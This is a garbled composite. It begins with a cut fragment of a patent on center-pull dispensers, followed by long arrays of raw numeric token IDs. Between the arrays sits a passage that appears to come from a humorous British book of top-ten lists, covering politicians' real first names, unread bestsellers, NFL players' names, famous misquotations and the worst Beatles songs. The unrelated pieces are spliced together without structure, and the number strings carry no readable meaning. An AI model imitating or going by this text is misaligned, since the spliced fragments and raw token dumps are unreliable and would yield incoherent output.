(Schutz) and U.S. Pat. No. 5,205,455 (Moody). Center pull dispensers of the prior art are subject to a number of important disadvantages. One disadvantage is that the fixed size of the nozzle passageway imposes certain limitations on the
[ 266, 31277, 1916, 755, 562, 273, 247, 6308, 273, 7596, 387, 253, 1390, 7017, 15, 26467, 15, 187, 187, 817, 32504, 1433, 1864, 42, 19038, 5803, 611, 47, 15122, 9149, 3003, 3027, 38425, 34487, 187, 187, 42, 812, 2761, 452, 2218, 436, 1618, 327, 4335, 23885, 3815, 27, 5490, 5602, 16008, 13, 15948, 23119, 40033, 13, 6911, 36220, 13, 35544, 5602, 17993, 266, 13, 5490, 10520, 13, 27708, 9368, 356, 5582, 285, 5490, 7233, 15, 1292, 1060, 403, 3578, 643, 13557, 27, 187, 187, 424, 18, 15, 35665, 7902, 424, 1108, 3692, 2120, 1416, 310, 13651, 35665, 372, 367, 453, 567, 293, 7902, 13, 594, 368, 476, 1067, 779, 1219, 15, 187, 187, 424, 19, 15, 42135, 38174, 424, 1108, 2516, 15, 187, 187, 424, 20, 15, 1503, 317, 443, 3502, 27268, 424, 1108, 6893, 15, 187, 187, 424, 21, 15, 24035, 657, 1370, 424, 1108, 18759, 293, 15, 187, 187, 424, 22, 15, 367, 15242, 12521, 3487, 424, 1108, 25413, 2516, 37870, 12521, 3487, 9288, 253, 1416, 367, 15242, 672, 344, 4395, 281, 47677, 4726, 432, 11442, 11011, 672, 344, 369, 19525, 15, 187, 187, 424, 23, 15, 444, 2369, 348, 27286, 424, 1108, 2516, 13, 969, 15, 187, 187, 424, 24, 15, 13104, 10734, 2224, 4379, 424, 1108, 18059, 40579, 7727, 12951, 2555, 84, 10734, 2224, 4379, 13, 9843, 323, 4693, 275, 14861, 28585, 434, 2208, 15, 187, 187, 424, 25, 15, 32726, 24460, 424, 1108, 665, 310, 247, 7395, 472, 13, 846, 7395, 472, 2398, 363, 1519, 13, 2021, 3331, 285, 15217, 273, 253, 8614, 5931, 15, 187, 187, 424, 26, 15, 19917, 28318, 17655, 424, 1108, 399, 9761, 570, 15, 380, 760, 3416, 309, 476, 1089, 27, 247, 9843, 275, 17419, 7233, 434, 2208, 285, 7028, 281, 11290, 13, 253, 44741, 8406, 15, 187, 187, 424, 740, 15, 6018, 343, 11366, 466, 424, 1108, 8035, 5490, 15, 187, 187, 1898, 690, 643, 8530, 806, 4454, 27, 12932, 338, 433, 6393, 2325, 472, 13, 32698, 267, 443, 5401, 26066, 13, 7195, 22723, 1716, 1216, 90, 13, 10092, 21523, 13514, 19954, 4906, 13, 24035, 18268, 8292, 8524, 47435, 13, 23442, 18666, 2633, 28753, 285, 2006, 4115, 9385, 32632, 71, 15, 187, 187, 817, 378, 4985, 14007, 41004, 26564, 58, 17706, 24694, 8, 53, 28204, 187, 187, 42, 266, 17314, 2205, 15212, 271, 7202, 48137, 2689, 587, 281, 479, 27, 686, 42, 1053, 626, 2868, 275, 271, 846, 8206, 13, 533, 309, 4489, 5098, 751, 247, 637, 665, 1057, 2464, 29578, 403, 1110, 6296, 665, 403, 30082, 2217, 281, 452, 4925, 253, 990, 273, 841, 27, 187, 187, 424, 18, 6019, 8057, 11255, 281, 20574, 407, 19027, 18150, 7896, 15, 13134, 621, 273, 10125, 4211, 15, 13134, 621, 273, 49898, 440, 30229, 15, 187, 187, 424, 19, 6019, 329, 16404, 9541, 273, 6865, 407, 12167, 9221, 4351, 15, 4129, 581, 35260, 36790, 326, 703, 574, 1239, 352, 686, 455, 253, 1039, 949, 27, 352, 434, 9670, 3477, 281, 513, 13, 285, 253, 502, 469, 860, 670, 12445, 19083, 352, 310, 22258, 5983, 187, 187, 424, 20, 6019, 530, 47758, 265, 407, 5490, 36606, 15, 329, 4682, 4742, 581, 436, 13, 327, 253, 9905, 326, 10693, 3780, 41307, 352, 275, 253, 806, 1659, 313, 5658, 476, 755, 352, 1959, 327, 43252, 481, 187, 187, 424, 21, 6019, 7813, 273, 16617, 407, 714, 1136, 5794, 293, 15, 686, 1147, 434, 1694, 247, 39121, 275, 352, 2464, 14698, 40065, 3597, 281, 7163, 4024, 512, 3083, 45428, 20721, 313, 795, 14660, 273, 16617, 64, 1912, 275, 6752, 582, 533, 253, 7126, 15197, 14737, 1665, 1912, 275, 4267, 13, 594, 309, 3589, 626, 1907, 326, 15, 187, 187, 424, 22, 6019, 8057, 3396, 407, 399, 2623, 34804, 293, 15, 37947, 3901, 407, 6911, 388, 28738, 27, 686, 42, 1978, 4495, 281, 2464, 187, 187, 424, 23, 6019, 48156, 8076, 5316, 407, 7993, 17025, 15, 329, 9178, 84, 5857, 25546, 407, 7188, 7187, 7567, 2327, 13, 534, 778, 320, 247, 2127, 1416, 15, 187, 187, 424, 24, 6019, 29130, 414, 434, 46375, 407, 7195, 367, 1362, 348, 251, 15, 37947, 3901, 407, 11197, 2545, 39772, 13, 665, 671, 3597, 281, 7163, 4024, 42430, 2604, 26202, 13, 533, 952, 513, 2686, 1239, 779, 15, 187, 187, 424, 25, 6019, 2752, 7813, 407, 7641, 9662, 15, 1893, 37551, 27207, 326, 1048, 33902, 2882, 273, 521, 12345, 28267, 30219, 26899, 15, 187, 187, 424, 26, 6019, 19383, 9541, 407, 18175, 11064, 3964, 9662, 15, 733, 651, 452, 9809, 2583, 574, 253, 9922, 3625, 273, 4695, 644, 13465, 347, 247, 20407, 2278, 273, 436, 285, 22306, 6729, 434, 795, 510, 12469, 10757, 273, 15541, 4414, 187, 187, 424, 740, 15, 6101, 273, 27283, 20554, 434, 5098, 6019, 37947, 3901, 407, 17626, 1143, 17353, 2205, 13, 665, 8042, 562, 326, 954, 4417, 15592, 19478, 15, 25373, 6304, 571, 13, 9090, 15, 187, 187, 817, 36041, 48697, 26483, 2415, 35, 5626, 6117, 8, 427, 37743, 187, 187, 11837, 807, 253, 3313, 15794, 6884, 6556, 247, 1264, 14, 1201, 16730, 1925, 686, 783, 7482, 1383, 275, 534, 2448, 5842, 6671, 5206, 747, 3773, 432, 253, 3733, 9905, 273, 6831, 15, 5815, 807, 253, 7482, 310, 247, 3497, 327, 253, 6571, 2806, 2448, 2444, 14, 2437, 4062, 273, 23179, 806, 4454, 13, 2223, 342, 5112, 16178, 13, 30828, 1658, 1041, 285, 12955, 15368, 723, 15, 187, 187, 424, 18, 15, 4033, 413, 3391, 353, 25864, 424, 28701, 264, 407, 253, 19802, 39699, 13, 521, 13189, 403, 29835, 285, 388, 9932, 580, 784, 15, 187, 187, 424, 19, 15, 31635, 1136, 8684, 19683, 424, 28701, 264, 407, 253, 13169, 37911, 15, 13104, 19389, 686, 48871, 15350, 1063, 5983, 313, 2302, 13, 309, 1053, 626, 871, 2057, 2698, 187, 187, 424, 20, 15, 399, 8, 35, 4662, 1225, 1403, 31162, 424, 28701, 264, 275, 5403, 407, 253, 1457, 2816, 35849, 15, 427, 3163, 846, 10956, 26378, 372, 378, 695, 515, 435, 13, 247, 1894, 275, 9178, 84, 5579, 12949, 14, 22253, 795, 510, 30904, 43328, 4414, 187, 187, 424, 21, 15, 743, 7553, 16189, 18250, 282, 3599, 424, 380, 3438, 22119, 2951, 15766, 310, 14373, 1024, 13, 533, 344, 369, 271, 16383, 4760, 342, 271, 9696, 16383, 1416, 15, 187, 187, 424, 22, 15, 34884, 473, 348, 406, 45741, 424, 754, 4391, 521, 38213, 432, 7902, 281, 253, 9883, 323, 854, 14, 22, 13, 253, 1180, 327, 521, 14133, 13, 275, 4695, 15, 187, 187, 424, 23, 15, 6029, 43, 274, 87, 316, 6115, 14, 28578, 261, 424, 3954, 342, 253, 29089, 21524, 932, 13, 344, 369, 15278, 19389, 686, 510, 5405, 38541, 8, 407, 521, 3438, 31907, 387, 253, 1457, 5854, 33668, 15, 187, 187, 424, 24, 15, 3905, 8478, 7541, 1916, 832, 1001, 424, 28351, 314, 342, 253, 46066, 46174, 1032, 15, 187, 187, 424, 25, 15, 10664, 8, 3251, 266, 9662, 14, 37, 895, 424, 41570, 347, 10664, 18853, 13, 344, 7120, 323, 253, 6115, 6912, 43290, 15, 187, 187, 424, 26, 15, 418, 528, 10573, 3130, 614, 424, 28351, 314, 273, 253, 18267, 20055, 5040, 285, 253, 16146, 399, 35706, 15, 187, 187, 424, 740, 15, 1847, 991, 4173, 7634, 560, 424, 380, 3438, 22119, 2951, 15766, 5608, 673, 846, 9602, 2994, 275, 253, 1791, 342, 271, 440, 663, 8821, 5654, 15, 187, 187, 9917, 25546, 27, 12772, 30276, 254, 13, 5612, 466, 3690, 2331, 7067, 13, 7812, 580, 784, 20923, 13, 500, 1000, 469, 80, 27409, 5316, 90, 13, 12073, 8, 46204, 41678, 285, 714, 593, 90, 596, 304, 3878, 15, 187, 187, 817, 353, 1830, 8846, 2415, 32663, 187, 187, 36569, 9668, 2064, 5316, 1620, 2336, 18279, 1598, 753, 326, 703, 12258, 1457, 15702, 390, 14861, 28585, 347, 617, 6459, 19797, 13, 3738, 352, 11359, 3551, 598, 275, 4385, 3927, 670, 617, 15, 7087, 476, 359, 871, 326, 616, 6326, 4477, 753, 667, 273, 841, 27, 187, 187, 424, 18, 15, 686, 8457, 352, 434, 627, 8, 424, 1108, 42953, 18175, 15, 733, 3589, 626, 779, 13, 352, 369, 24628, 6086, 21984, 590, 13, 1529, 12015, 589, 13, 3738, 627, 434, 642, 1941, 326, 344, 753, 352, 13, 2057, 15, 187, 187, 424, 19, 15, 686, 34, 1175, 1388, 281, 33163, 3076, 3668, 8, 424, 1108, 8174, 13856, 13, 1457, 15702, 2714, 28051, 13, 327, 898, 16, 883, 15, 1500, 4159, 27, 686, 1147, 434, 1024, 247, 1077, 1175, 1388, 281, 755, 562, 2712, 359, 971, 281, 33163, 2464, 187, 187, 424, 20, 15, 686, 3039, 253, 5441, 1818, 13, 309, 1818, 619, 2564, 27, 752, 513, 368, 513, 13, 8674, 5554, 424, 1108, 2516, 2552, 79, 472, 6018, 37889, 15, 1621, 1941, 344, 2455, 753, 352, 15, 26070, 15, 187, 187, 424, 21, 15, 686, 38, 3695, 13, 619, 11761, 21571, 8, 424, 1108, 10648, 4348, 23555, 15, 380, 1894, 753, 352, 275, 690, 273, 253, 6590, 533, 15948, 1716, 266, 40289, 1620, 4159, 352, 15, 187, 187, 424, 22, 15, 686, 34, 2129, 310, 247, 1048, 673, 275, 8672, 8, 424, 1108, 29271, 10520, 15, 1621, 15, 187, 187, 424, 23, 15, 686, 21020, 352, 969, 13, 5769, 8, 424, 1108, 347, 1046, 43240, 7690, 386, 6057, 13, 496, 15476, 19869, 1342, 2296, 686, 21020, 352, 13, 5769, 8, 275, 795, 24226, 1752, 35884, 4414, 187, 187, 424, 24, 15, 686, 22529, 604, 368, 751, 15, 380, 10692, 434, 417, 323, 8577, 8, 424, 1108, 20145, 2064, 5316, 15, 380, 795, 4257, 2816, 7717, 64, 1157, 4028, 247, 4366, 273, 617, 2471, 275, 4072, 13, 4541, 15045, 352, 281, 686, 1394, 1614, 604, 368, 971, 281, 1051, 1383, 533, 253, 4723, 281, 5591, 13628, 369, 2218, 15, 187, 187, 424, 25, 15, 686, 4678, 312, 479, 598, 13, 11137, 555, 8, 424, 1108, 11918, 22579, 1620, 753, 1110, 10799, 3000, 672, 253, 7484, 273, 795, 16043, 29024, 64, 2424, 271, 8945, 501, 48043, 15, 187, 187, 424, 26, 15, 686, 39996, 13, 28585, 8, 424, 1108, 6086, 411, 15, 11301, 13, 672, 247, 32265, 369, 1669, 327, 15, 33851, 281, 352, 327, 253, 8573, 285, 253, 3918, 4518, 2296, 13, 686, 6506, 13, 28585, 5983, 187, 187, 424, 740, 15, 686, 1231, 403, 42189, 19595, 670, 952, 2970, 46280, 6793, 8, 424, 1108, 7993, 18150, 14032, 15, 3105, 247, 3731, 11956, 318, 533, 247, 13687, 581, 15, 380, 1551, 273, 253, 6197, 369, 27, 686, 1051, 284, 1048, 347, 597, 2075, 616, 10474, 2464, 187, 187, 817, 26393, 1267, 8728, 1194, 23710, 322, 1139, 10339, 187, 187, 510, 1457, 12123, 16005, 9377, 715, 247, 5899, 7057, 8885, 2389, 4498, 846, 13423, 323, 1072, 14, 11523, 7875, 15, 2752, 3331, 6270, 14040, 266, 2546, 752, 253, 3995, 273, 22695, 812, 1625, 672, 253, 39138, 313, 27970, 16678, 28424, 1868, 10, 7641, 369, 4817, 15, 24955, 5125, 13, 686, 3074, 1422, 20389, 310, 10540, 1383, 534, 6270, 10945, 327, 253, 9905, 326, 352, 310, 253, 40159, 8, 1273, 14, 42108, 296, 4498, 15, 2058, 534, 1127, 13, 309, 3053, 281, 18122, 436, 1618, 15, 187, 187, 424, 18, 15, 686, 9692, 1350, 253, 21368, 8, 424, 6270, 14040, 266, 27, 686, 510, 1077, 9065, 40159, 4498, 310, 581, 3692, 37625, 8913, 1319, 285, 12069, 3131, 414, 403, 20068, 407, 19231, 4994, 913, 7041, 2464, 187, 187, 424, 19, 15, 686, 3074, 1422, 20389, 310, 10540, 8, 424, 733, 434, 44663, 1975, 27, 9090, 2712, 326, 581, 476, 513, 13, 476, 275, 958, 320, 2218, 15, 187, 187, 424, 20, 15, 686, 9684, 4714, 434, 16309, 44591, 8, 424, 1284, 23259, 5602, 16008, 4159, 275, 795, 7498, 2241, 275, 253, 12318, 64, 1157, 686, 2042, 667, 2014, 7663, 2722, 2139, 253, 40159, 9377, 598, 29678, 187, 187, 424, 21, 15, 686, 58, 3827, 4974, 4175, 460, 8, 424, 309, 1053, 626, 751, 352, 13, 533, 6270, 1691, 479, 987, 15, 686, 1147, 434, 1175, 323, 752, 352, 310, 27, 247, 38135, 5753, 8, 4498, 2464, 187, 187, 424, 22, 15, 686, 14909, 30504, 434, 18733, 8, 424, 22668, 80, 434, 4498, 15, 8035, 581, 323, 18740, 15, 187, 187, 424, 23, 15, 686, 26859, 1342, 8, 424, 6029, 20923, 27, 686, 23108, 23698, 387, 521, 3731, 14718, 12189, 9065, 2464, 20882, 401, 750, 293, 6339, 10017, 27, 686, 6723, 368, 24812, 5554, 1244, 4130, 753, 352, 310, 23020, 11574, 407, 353, 3649, 66, 434, 16819, 1282, 285, 253, 26432, 15, 187, 187, 424, 24, 15, 686, 13238, 6681, 6865 ]	anço To get out of a spot of trouble at the last minute. Portuguese. ## POLITICIANS NOT KNOWN BY THEIR FIRST NAME I could almost have done this list on prime ministers alone: James MacDonald, Arthur Chamberlain, Robert Eden, Maurice Macmillan, James Wilson, Leonard Callaghan and James Brown. But here are ten other politicians: 1. Boris Johnson – whose full name is Alexander Boris de Pfeffel Johnson, so you can call him Al. 2. Vince Cable – John. 3. Zac Goldsmith – Frank. 4. Keith Vaz – Nigel. 5. Paddy Ashdown – Jeremy John Durham Ashdown acquired the name Paddy when he moved to Bedford School from Northern Ireland when he was eleven. 6. Enoch Powell – John, again. 7. Nick Raynsford – Wyvill Richard Nicolls Raynsford, minister for London in Tony Blair's government. 8. Mitt Romney – who is a Willard, after Willard Marriott, family friend and founder of the hotel chain. 9. Barbara Follett – Daphne. The only woman I can find: a minister in Gordon Brown's government and married to Ken, the thriller writer. 10. Keir Hardie – Another James. And some other famous first names: Winifred Mary Beard, Troyal Garth Brooks, Thomas Sean Connery, Joseph Rudyard Kipling, Keith Rupert Murdoch, Helen Beatrix Potter and Adeline Virginia Woolf. ## BOOKS PEOPLE BUY BUT DON'T READ Ian Rapley quoted an unknown bibliophile to me: 'I don't believe in an afterlife, but I buy books like a man who does.' Few are those indeed who are privileged enough to have reached the end of these: 1. Long Walk to Freedom by Nelson Mandela. Millions of copies sold. Millions of spines unbroken. 2. A Brief History of Time by Stephen Hawking. Although one correspondent protested that she had read it 'all the way through: it's perfectly easy to do, and the cliché about nobody finishing it is boring'. 3. Ulysses by James Joyce. A murky one this, on the grounds that hardly anyone buys it in the first place (you can get it free on Kindle). 4. Life of Pi by Yann Martel. 'It's got a tiger in it.' Simon Wilder tried to nominate all Man Booker winners ( _Life of Pi_ won in 2002), but the excellent Howard Jacobson won in 2010, so I wasn't having that. 5. Longitude by Dava Sobel. Nominated by Robert Hutton: 'I keep meaning to.' 6. Spycatcher by Peter Wright. A 1980s entry nominated by Verbal Refuse, which may be a code name. 7. Gravity's Rainbow by Thomas Pynchon. Nominated by Carl Engleman, who also tried to nominate Marcel Proust, but people do actually read him. 8. My Life by Bill Clinton. So slapdash that long stretches consist of his barely annotated appointments diary. 9. Living History by Hillary Rodham Clinton. It would have saved money had the Democratic primary of 2008 been fought as a comparative review of this and Barack Obama's _The Audacity of Hope_. 10. Any of Jamie Oliver's books. Nominated by Geraint Whitley, who pointed out that most cookbooks qualify. Except Delia, obviously. ## AMERICAN FOOTBALLERS' NAMES Each year the National Football League holds a three-day ceremony called 'the draft', in which American football teams choose new players from the training grounds of college. Each year the draft is a window on the mostly black American working-class tradition of invented first names, often with French influences, apostrophes and variant spellings. 1. Barkevious Mingo Drafted by the Cleveland Browns, his brothers are Hugh and Hughtavious. 2. Tyrann Mathieu Drafted by the Arizona Cardinals. Nicknamed 'Honey Badger'. (No, I don't know either.) 3. D'Brickashaw Ferguson Drafted in 2006 by the New York Jets. Named after Father Ralph de Bricassart, a character in 1980s TV mini-series _The Thorn Birds_. 4. Antwaan Randle El The former Pittsburgh Steeler is retired now, but he was an outstanding player with an equally outstanding name. 5. Chad Ochocinco He changed his surname from Johnson to the Spanish for 8-5, the number on his shirt, in 2008. 6. BenJarvus Green-Ellis Now with the Cincinnati Bengals, he was nicknamed 'The Law Firm' by his former teammates at the New England Patriots. 7. LaBrandon Toefield Formerly with the Jacksonville Jaguars. 8. Ha'Sean Clinton-Dix Known as HaHa, he plays for the Green Bay Packers. 9. Lousaka Polite Formerly of the Atlanta Falcons and the Miami Dolphins. 10. Plaxico Burress The former Pittsburgh Steeler served time after shooting himself in the leg with an unlicensed gun. Also nominated: Fair Hooker, Richie Incognito, Montavious Stanley, Jerricho Cotchery, Da'Rick Rodgers and Yancey Thigpen. ## MISQUOTATIONS Margaret Thatcher never verifiably said that she regarded New Labour or Tony Blair as her greatest achievement, although it keeps coming up in commentaries about her. Nor can we know that their supposed authors said any of these: 1. 'Because it's there' – Edmund Hillary. It wasn't him, it was supposedly George Mallory, another climber, although there's no evidence that he said it, either. 2. 'A good day to bury bad news' – Jo Moore, New Labour special adviser, on 9/11. She wrote: 'It's now a very good day to get out anything we want to bury.' 3. 'When the facts change, I change my mind: what do you do, sir?' – John Maynard Keynes. No evidence he ever said it. Sorry. 4. 'Elementary, my dear Watson' – Sherlock Holmes. The character said it in some of the films but Arthur Conan Doyle never wrote it. 5. 'A week is a long time in politics' – Harold Wilson. No. 6. 'Play it again, Sam' – as every beginner pedant knows, Ingrid Bergman says 'Play it, Sam' in _Casablanca_. 7. 'Turn if you like. The lady's not for turning' – Margaret Thatcher. The _New York Times_, writing a notice of her death in 2013, quickly corrected it to 'You turn if you want to...', but the damage to UK ears was done. 8. 'Beam me up, Scotty' – Captain Kirk never said those precise words when the plot of _Star Trek_ required an emergency resuscitation. 9. 'Yo, Blair' – George W. Bush, when a microphone was left on. Listen to it on the internet and the President clearly says, 'Yeah, Blair'. 10. 'We are intensely relaxed about people getting filthy rich' – Peter Mandelson. Not a misquotation but a selective one. The rest of the sentence was: '...as long as they pay their taxes.' ## WORST BEATLES SONGS The New Zealand parliament broke into a traditional Maori love song after voting for same-sex marriage. My friend Tom Doran asked what the House of Commons could sing when the Marriage (Same Sex Couples) Bill was passed. Someone suggested, 'All You Need is Love', which Tom rejected on the grounds that it is the Beatles' second-worst song. At which point, I started to compile this list. 1. 'Across the Universe' Tom Doran: 'The very worst Beatles song is one whose crushing banality and mediocrity are amplified by undeserved acclaim.' 2. 'All You Need is Love' It's tautological: obviously anything that one can do, can in fact be done. 3. 'Maxwell's Silver Hammer' As Ian MacDonald wrote in _Revolution in the Head_, 'If any single recording shows why the Beatles broke up...' 4. 'Yellow Submarine' I don't like it, but Tom put me right. 'It's good for what it is: a novelty kids' song.' 5. 'Octopus's Garden' Ringo's song. Another one for babies. 6. 'Taxman' Ben Stanley: 'George Harrison at his misanthropic worst.' Danny Finkelstein replied: 'Are you insane?' And everyone said it is redeemed by Macca's bassline and the intro. **7. 'Christmas Time
[ 13, 1907, 9716, 390, 8884, 619, 8208, 281, 7471, 2176, 10764, 273, 5347, 5739, 273, 11401, 641, 15725, 187, 22624, 3690, 15, 313, 783, 6487, 582, 285, 1907, 6828, 326, 253, 14204, 323, 753, 5739, 320, 6808, 275, 619, 1416, 347, 23052, 323, 17179, 187, 41, 15, 16171, 13, 347, 33452, 13, 3692, 2953, 310, 50273, 9263, 951, 14734, 642, 50259, 4524, 436, 27113, 273, 10215, 13, 7953, 23531, 15012, 187, 50254, 252, 50264, 50276, 9, 42992, 10, 50274, 9, 21093, 10, 50276, 9, 30989, 10, 50275, 9, 5443, 10, 187, 47110, 326, 253, 2426, 285, 2515, 2220, 534, 309, 3091, 2186, 753, 5739, 275, 4517, 285, 667, 3081, 5739, 4795, 432, 187, 250, 24889, 420, 273, 7942, 43503, 2220, 824, 3236, 390, 3081, 10764, 403, 347, 3637, 27, 187, 9, 18, 10, 6408, 619, 12702, 512, 7942, 43503, 403, 281, 320, 5087, 281, 479, 15978, 323, 619, 1211, 3367, 2395, 285, 897, 28, 2530, 13, 187, 35529, 13, 326, 667, 824, 3081, 5739, 9716, 762, 271, 14047, 9838, 5410, 420, 273, 7942, 43503, 3091, 2489, 247, 629, 273, 187, 395, 2256, 281, 436, 4517, 15, 187, 9, 19, 10, 15797, 619, 2471, 253, 4060, 281, 667, 5739, 2256, 36291, 285, 253, 987, 281, 667, 6774, 10762, 390, 10670, 3091, 187, 1257, 37478, 8839, 275, 253, 33452, 15, 380, 1924, 3522, 323, 253, 7830, 273, 43503, 13, 2581, 685, 253, 3522, 273, 16204, 273, 187, 783, 43690, 13, 3091, 13, 342, 3806, 281, 619, 2471, 13, 3653, 1880, 667, 1798, 43690, 3091, 320, 36296, 281, 619, 8304, 390, 281, 187, 783, 33452, 15, 187, 9, 20, 10, 6408, 619, 12702, 309, 15917, 253, 987, 13, 347, 23052, 13, 281, 6273, 13, 5580, 13, 41582, 13, 6431, 390, 5010, 2968, 275, 390, 342, 253, 187, 17764, 2256, 36291, 13, 533, 2220, 667, 7289, 390, 39732, 273, 753, 5739, 390, 667, 629, 10445, 13, 253, 4517, 20585, 8884, 3091, 24174, 187, 284, 281, 253, 5739, 4211, 390, 23020, 11574, 13, 285, 309, 3091, 320, 7429, 281, 13280, 253, 16947, 273, 7289, 390, 39732, 323, 619, 1211, 3367, 2395, 187, 395, 897, 15, 187, 9, 21, 10, 309, 15917, 253, 987, 387, 667, 673, 281, 1818, 253, 33452, 390, 3585, 3136, 436, 4517, 13, 533, 352, 310, 7192, 326, 642, 1818, 273, 33452, 187, 395, 642, 40213, 273, 436, 4517, 3707, 407, 2471, 273, 253, 33452, 13, 3091, 320, 3576, 347, 281, 253, 6487, 323, 667, 4096, 187, 28558, 285, 1919, 3542, 4366, 10445, 275, 824, 830, 347, 253, 6487, 3091, 44482, 310, 8549, 281, 253, 6487, 387, 32635, 13, 187, 39235, 14058, 15, 380, 17630, 511, 273, 253, 33452, 1078, 619, 2471, 3091, 10196, 347, 247, 40213, 273, 436, 4517, 15, 187, 9, 22, 10, 496, 253, 2362, 436, 4517, 3091, 320, 43868, 390, 5010, 19344, 13, 753, 5739, 285, 512, 3570, 285, 25687, 627, 4524, 187, 30049, 5663, 281, 285, 320, 25796, 407, 479, 275, 619, 2060, 5350, 15, 187, 9, 23, 10, 380, 6487, 3091, 417, 320, 15922, 323, 253, 13091, 390, 6242, 273, 667, 4517, 3562, 407, 479, 13, 285, 667, 7830, 390, 643, 187, 15603, 318, 1160, 390, 1677, 407, 253, 6487, 281, 479, 347, 23052, 390, 5010, 13, 275, 4602, 342, 753, 5739, 390, 667, 7942, 43503, 187, 9088, 251, 13, 390, 275, 253, 2362, 273, 619, 2471, 2720, 281, 40213, 13, 281, 253, 33452, 13, 3091, 281, 253, 6070, 273, 824, 7830, 4751, 3727, 285, 187, 3431, 7778, 253, 6487, 432, 9781, 342, 1675, 281, 753, 5739, 390, 667, 7942, 43503, 30134, 15, 187, 37, 456, 10733, 15, 818, 13, 18824, 15, 50267, 23108, 411, 15, 16171, 50254, 50270, 2490, 50254, 50254, 50254, 50272, 11212, 275, 4555, 253, 1072, 5133, 347, 327, 253, 2898, 187, 24963, 187, 60, 18, 62, 50276, 12612, 8988, 9, 19, 10, 273, 253, 11726, 26333, 13330, 342, 253, 4112, 835, 253, 3414, 3833, 21916, 281, 1529, 1436, 347, 23052, 285, 310, 275, 40812, 1060, 15, 313, 12612, 8988, 9, 20, 10, 3400, 27, 187, 187, 31770, 20, 10, 25373, 347, 4767, 275, 5238, 9135, 313, 4609, 13330, 342, 43095, 45219, 273, 16347, 22413, 582, 835, 253, 3414, 3833, 34852, 2994, 23052, 285, 23003, 417, 760, 247, 12912, 1495, 8304, 285, 247, 1612, 281, 3585, 3136, 285, 10007, 253, 4517, 533, 671, 1612, 281, 2968, 342, 253, 2867, 347, 344, 13052, 347, 1048, 347, 344, 4852, 13, 253, 6034, 4517, 310, 43864, 552, 449, 187, 1909, 8042, 562, 13, 6086, 411, 15, 16171, 347, 3414, 3833, 858, 417, 452, 253, 987, 281, 2968, 342, 253, 2867, 347, 344, 10490, 347, 1048, 347, 344, 6940, 1223, 253, 4517, 6376, 440, 15079, 8163, 13, 533, 369, 3033, 407, 253, 5323, 23254, 17973, 327, 23052, 15, 187, 7656, 3322, 1539, 7283, 13, 1457, 12123, 1905, 329, 18826, 6215, 326, 556, 42893, 8307, 273, 16298, 273, 4166, 1580, 13631, 247, 43544, 745, 1457, 12123, 434, 8852, 5420, 281, 320, 10155, 598, 275, 5536, 26634, 13, 347, 697, 13595, 11372, 6424, 7260, 275, 1302, 8330, 15, 187, 187, 34, 9118, 9370, 369, 5165, 432, 253, 12595, 281, 253, 1824, 1282, 273, 253, 15562, 757, 14, 17101, 2400, 30958, 13, 534, 6337, 639, 4650, 3821, 15, 608, 327, 15123, 1102, 12424, 1720, 832, 13, 1638, 6574, 432, 308, 4411, 28874, 3972, 7390, 327, 1457, 12123, 434, 3729, 8451, 15, 11376, 5571, 17671, 452, 13547, 745, 253, 12595, 273, 253, 818, 1976, 14, 8938, 11179, 347, 352, 556, 7117, 9592, 275, 253, 43685, 12927, 2515, 15, 187, 187, 9709, 25832, 1457, 12123, 13, 534, 310, 14419, 253, 8945, 2380, 13, 2529, 253, 9370, 347, 247, 346, 42312, 8350, 4433, 3, 285, 14315, 326, 253, 24701, 778, 2740, 1977, 15, 9064, 30139, 19750, 497, 9119, 19944, 281, 2186, 253, 24701, 327, 253, 43544, 1223, 6031, 403, 1160, 281, 5386, 253, 4166, 432, 253, 6215, 13, 390, 281, 12413, 253, 24701, 281, 20126, 1824, 13, 253, 6757, 753, 275, 247, 3908, 15, 187, 187, 2019, 10628, 273, 4166, 452, 11974, 598, 327, 43559, 29780, 2822, 308, 4411, 28874, 15, 2398, 25832, 1457, 12123, 35027, 17467, 330, 602, 13409, 753, 1052, 4166, 264, 11260, 574, 644, 1119, 3846, 285, 7609, 2571, 497, 1146, 22269, 387, 247, 23816, 8945, 4055, 15, 187, 187, 56, 4208, 265, 753, 3846, 6773, 497, 671, 17392, 15898, 410, 347, 1980, 15986, 342, 8013, 26936, 285, 47289, 4307, 281, 4076, 253, 258, 1031, 502, 1502, 432, 253, 3168, 7537, 15, 187, 187, 1231, 1226, 327, 253, 43544, 369, 11527, 8330, 13, 342, 1863, 7042, 598, 281, 1668, 4669, 13, 2398, 25832, 1457, 12123, 18082, 11819, 8302, 2183, 380, 23323, 5687, 15, 380, 23180, 2515, 497, 2403, 352, 7479, 323, 247, 40811, 10402, 281, 4450, 253, 6215, 13, 344, 753, 15, 12414, 253, 40811, 10402, 22995, 13, 4166, 2550, 320, 36493, 562, 273, 253, 6215, 15, 187, 187, 3, 1147, 434, 622, 11822, 937, 8302, 753, 273, 253, 8588, 15, 346, 22242, 310, 1335, 275, 247, 5877, 3102, 449, 187, 187, 18635, 47107, 497, 21565, 253, 1863, 7042, 651, 11990, 281, 721, 4669, 407, 8216, 13, 387, 534, 1127, 40811, 32173, 1537, 320, 2104, 281, 1611, 281, 4450, 253, 6215, 13, 8302, 753, 15, 187, 187, 510, 41019, 273, 17671, 326, 3464, 327, 12595, 452, 4821, 281, 2118, 13, 2403, 352, 8312, 323, 40811, 32173, 281, 789, 327, 4450, 15, 11067, 12671, 452, 644, 9119, 19944, 281, 22548, 253, 44251, 17671, 285, 643, 21593, 275, 253, 1824, 15, 187, 187, 2512, 497, 337, 13, 23926, 17671, 327, 4450, 13, 1903, 273, 534, 6221, 30561, 15991, 13, 253, 37223, 6757, 753, 15, 380, 17671, 342, 30561, 4753, 497, 417, 2190, 253, 5571, 326, 574, 13547, 689, 4697, 13, 8302, 753, 15, 11706, 13, 352, 310, 4122, 2779, 326, 625, 17671, 588, 37210, 282, 745, 984, 273, 253, 7227, 8588, 285, 253, 6215, 434, 16624, 1618, 13, 344, 753, 15, 187, 187, 510, 7127, 14, 2913, 14, 744, 36935, 2610, 13595, 13, 3692, 1416, 556, 417, 644, 4950, 13644, 13, 369, 6636, 342, 6498, 247, 11179, 275, 247, 5133, 8479, 15279, 5434, 390, 2495, 285, 369, 4439, 327, 19590, 8330, 387, 308, 4411, 28874, 4412, 2111, 15, 380, 6215, 434, 1273, 5908, 310, 281, 2454, 247, 2074, 4179, 327, 8216, 15, 187, 187, 26946, 41360, 723, 187, 16, 187, 32680, 187, 187, 3251, 357, 14950, 5339, 407, 4166, 432, 253, 34614, 3612, 30958, 7027, 327, 247, 11600, 2822, 308, 4411, 28874, 13, 1457, 12123, 13, 327, 8330, 